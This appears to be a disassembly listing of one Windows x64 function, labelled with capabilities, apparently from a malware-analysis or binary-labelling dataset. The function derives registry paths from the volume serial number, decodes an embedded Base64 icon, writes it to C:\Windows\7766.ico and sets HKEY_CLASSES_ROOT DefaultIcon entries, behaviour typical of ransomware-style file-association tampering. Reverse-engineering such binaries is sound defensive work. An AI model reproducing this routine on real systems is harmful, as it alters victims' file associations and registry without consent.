Function at 0x140042bd0
Capabilities:
Get disk information
Set registry value
Write file on windows

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x48]
sub rsp, 0x148
mov rax, qword [0x1400d9080]
xor rax, rsp
mov qword [rbp + 0x20], rax
xor ebx, ebx
lea r9, [rsp + 0x78]
mov dword [rsp + 0x38], ebx
lea rcx, [0x1400bd6c0]
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x140042c3d
lea rdx, str.Failed_to_get_volume_serial_number.
lea rcx, [0x1400dba40]
call fcn.140043810
mov rcx, rax
call fcn.140043ae0
jmp 0x140043281
mov edx, dword [rsp + 0x78]
lea rcx, [rbp]
mov qword [rsp + 0x160], rsi
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], r12
mov qword [rsp + 0x138], r14
mov qword [rsp + 0x130], r15
call fcn.140041680
mov r12, qword [rbp + 0x18]
lea r15, [rbp]
mov r14, qword [rbp]
cmp r12, 7
mov rsi, qword [rbp + 0x10]
movabs rdi, 0x7ffffffffffffffe
cmova r15, r14
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
cmp rsi, rdi
ja 0x1400432a3
mov ecx, 0xa
cmp rsi, 7
ja 0x140042ccd
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], 7
movups xmm0, xmmword [r15]
movups xmmword [rbp - 0x80], xmm0
jmp 0x140042d21
mov rbx, rsi
or rbx, 7
cmp rbx, rdi
jbe 0x140042cde
mov rbx, rdi
jmp 0x140042ce5
cmp rbx, rcx
cmovb rbx, rcx
inc rbx
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x60], rbx
call fcn.1400363d0
lea rcx, [rbx - 1]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x68], rcx
lea r8, [rsi*2 + 2]
mov rcx, rax
mov qword [rbp - 0x70], rsi
mov rdx, r15
call fcn.1400abca0
xor ebx, ebx
lea ecx, [rbx + 0xa]
mov rax, rdi
sub rax, rsi
cmp rax, 0xc
jb 0x1400432a3
cmp r12, 7
mov qword [rsp + 0x140], r13
lea r13, [rbp]
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rbx
lea r12, [rsi + 0xc]
mov ebx, 7
lea r15, [rbp - 0x58]
cmova r13, r14
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
cmp r12, rbx
jbe 0x140042d9b
mov rax, r12
or rax, rbx
cmp rax, rdi
ja 0x140042d7c
cmp rax, 0xa
mov rdi, rax
cmovb rdi, rcx
lea rbx, [rdi + 1]
lea rdx, [rbp - 0x60]
mov qword [rbp - 0x60], rbx
lea rcx, [rbp - 0x58]
call fcn.1400363d0
mov r15, rax
mov qword [rbp - 0x58], rax
dec rbx
mov qword [rbp - 0x40], rbx
mov rdx, r13
lea rbx, [rsi + rsi]
mov qword [rbp - 0x48], r12
mov r8, rbx
mov rcx, r15
call fcn.1400abca0
movups xmm0, xmmword [str.DefaultIcon]
lea rdx, str.AAABAAEAAAAAAAEAIACTjwAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAIAAAACAAgGAAAA9HjUgAAAAFzUkdCAK7OHOkAAAAEZ0FNQQAAsY8L_GEFAAAACXBIWXMAAA7DAAAOwwHHb6hkAACPKElEQVR4Xu3dB1hVV_oGrkzE6WKUqSdTi8C0uy99y5It2HFgtg1YqxYY29xd6wYe8VEVEERUQEiYQEY2LURM299_sOMH_D7ImKRznlzfP8HjMmE3Wvtdf3rr3XXusf9Nc_yf8DAOWK78MSFU3YVJZYiKRSywkdaQiaSepjbSXXCwfLpfKYUyQKFVLGB7CNnSYpMJnskl8h_pr__QyFT_LfyWv6tXhHxTO_T3FjXPUg2S6XSOPpxmkwiGyWzlUXKbeXdbC1tG5qZmTkZGRmZ059Jr9SfUegaAM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TCJLk9hK1lpZWfU3MTHxob5tTPAkANQJAgCoDeX5_TRgdqGBc69cLH9AM6nfqPjzJ1eYYOmKPpKQCJ_Rf03TyqSHqMHaavr29DfRxPAkCdIABAueN3_hWNjIxcqlatGiy2FShwfO2QqJc8MffAsNsgDqjnel_FUqkd4T2YrWWVW16mdiYsK7BvJBQngSAOoAAQDKHQGxpUrV25HM_tvJJaIVX8xu9TaQDFzB80VdGTAKn8JQXaHJlYdkRkLQoyNDSsSv2dPxEUuhcAviQEACg33PeMjY2dqxSpUp3GyubhbyzGhV3t0P7_xBW7ymEPALhYC7UrH0
xor r13d, r13d
xorps xmm1, xmm1
lea rcx, [rbp - 0x20]
movups xmmword [r15 + rbx], xmm0
mov r8d, 0xbf8c
movsd xmm0, qword [0x1400bd888]
movsd qword [r15 + rbx + 0x10], xmm0
xorps xmm0, xmm0
mov word [r15 + r12*2], r13w
movups xmmword [rbp - 0x20], xmm0
movdqu xmmword [rbp - 0x10], xmm1
call fcn.1400405d0
xorps xmm0, xmm0
mov qword [rsp + 0x60], r13
lea r15, str.C:Windows7766.ico
mov qword [rsp + 0x68], r13
mov rdx, r15
lea r8d, [r13 + 0x13]
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
call fcn.1400361b0
xorps xmm0, xmm0
lea rdx, [rbp - 0x20]
xor eax, eax
lea rcx, [rbp - 0x38]
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rax
call fcn.1400429b0
mov rbx, qword [rbp - 0x38]
mov rsi, qword [rbp - 0x30]
cmp rbx, rsi
jne 0x140042ff5
lea rdx, str.Failed_to_decode_BASE64_data.
lea rcx, [0x1400dba40]
call fcn.140043810
mov rcx, rax
call fcn.140043ae0
test rbx, rbx
je 0x140042ea6
mov rdx, qword [rbp - 0x28]
mov rax, rbx
sub rdx, rbx
cmp rdx, 0x1000
jb 0x140042e9e
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004329d
mov rcx, rbx
call fcn.14007ee04
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140042ee8
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042ee3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400432a9
call fcn.14007ee04
cmp qword [rbp - 0x68], 7
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], r13
lea rdx, [rbp - 0x80]
cmova rdx, qword [rbp - 0x80]
mov rcx, 0xffffffff80000000
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], r13
xor r8d, r8d
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r13d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400430f3
mov rcx, qword [rsp + 0x70]
lea rax, str.NON_STOP
mov dword [rsp + 0x28], 0x12
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rbp - 0x40], 7
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], r13
lea rdx, [rbp - 0x58]
cmova rdx, qword [rbp - 0x58]
mov rcx, 0xffffffff80000000
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], r13
xor r8d, r8d
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r13d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400430cc
mov rcx, qword [rsp + 0x70]
lea r9d, [rax + 1]
mov dword [rsp + 0x28], 0x28
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Registry_entries_added_successfully.
lea rcx, [0x1400db7f0]
call fcn.140043810
jmp 0x140043120
cmp qword [rsp + 0x68], 7
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x30], r13
mov edx, 0x40000000
cmova rcx, qword [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14004306b
lea rdx, str.Failed_to_create_file:
lea rcx, [0x1400dba40]
call fcn.140043810
cmp qword [rsp + 0x68], 7
lea rdx, [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov rcx, rax
cmova rdx, qword [rsp + 0x50]
call fcn.1400441f0
jmp 0x140042e65
sub esi, ebx
mov qword [rsp + 0x20], r13
mov r8d, esi
lea r9, [rbp - 0x60]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x140042ea6
mov rdx, qword [rbp - 0x28]
mov rax, rbx
sub rdx, rbx
cmp rdx, 0x1000
jb 0x140042e9e
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004329d
jmp 0x140042e9e
lea rdx, str.Failed_to_create_or_open_the_registry_key:
lea rcx, [0x1400dba40]
call fcn.140043810
cmp qword [rbp - 0x40], 7
lea rdx, [rbp - 0x58]
mov r8, qword [rbp - 0x48]
cmova rdx, qword [rbp - 0x58]
jmp 0x140043118
lea rdx, str.Failed_to_create_or_open_the_registry_key:
lea rcx, [0x1400dba40]
call fcn.140043810
cmp qword [rbp - 0x68], 7
lea rdx, [rbp - 0x80]
mov r8, qword [rbp - 0x70]
cmova rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.1400441f0
mov rcx, rax
call fcn.140043ae0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140043163
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004315e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043297
call fcn.14007ee04
mov rdx, qword [rbp - 0x40]
movdqa xmm0, xmmword [0x1400ca4e0]
mov byte [rbp - 0x20], r13b
movdqu xmmword [rbp - 0x10], xmm0
cmp rdx, 7
jbe 0x1400431b4
mov rcx, qword [rbp - 0x58]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400431af
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043297
call fcn.14007ee04
mov rdx, qword [rbp - 0x68]
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], 7
mov word [rbp - 0x58], r13w
cmp rdx, 7
jbe 0x140043205
mov rcx, qword [rbp - 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043200
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043297
call fcn.14007ee04
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r13w
cmp rax, 7
jbe 0x140043251
lea rdx, [rax*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x140043249
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043297
mov rcx, r14
call fcn.14007ee04
mov r13, qword [rsp + 0x140]
mov r14, qword [rsp + 0x138]
mov r12, qword [rsp + 0x170]
mov rdi, qword [rsp + 0x168]
mov rsi, qword [rsp + 0x160]
mov r15, qword [rsp + 0x130]
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.14007e7e0
add rsp, 0x148
pop rbx
pop rbp
ret
call fcn.140085614
int3
call fcn.140085614
int3
call fcn.14000bd50
int3
call fcn.140085614
int3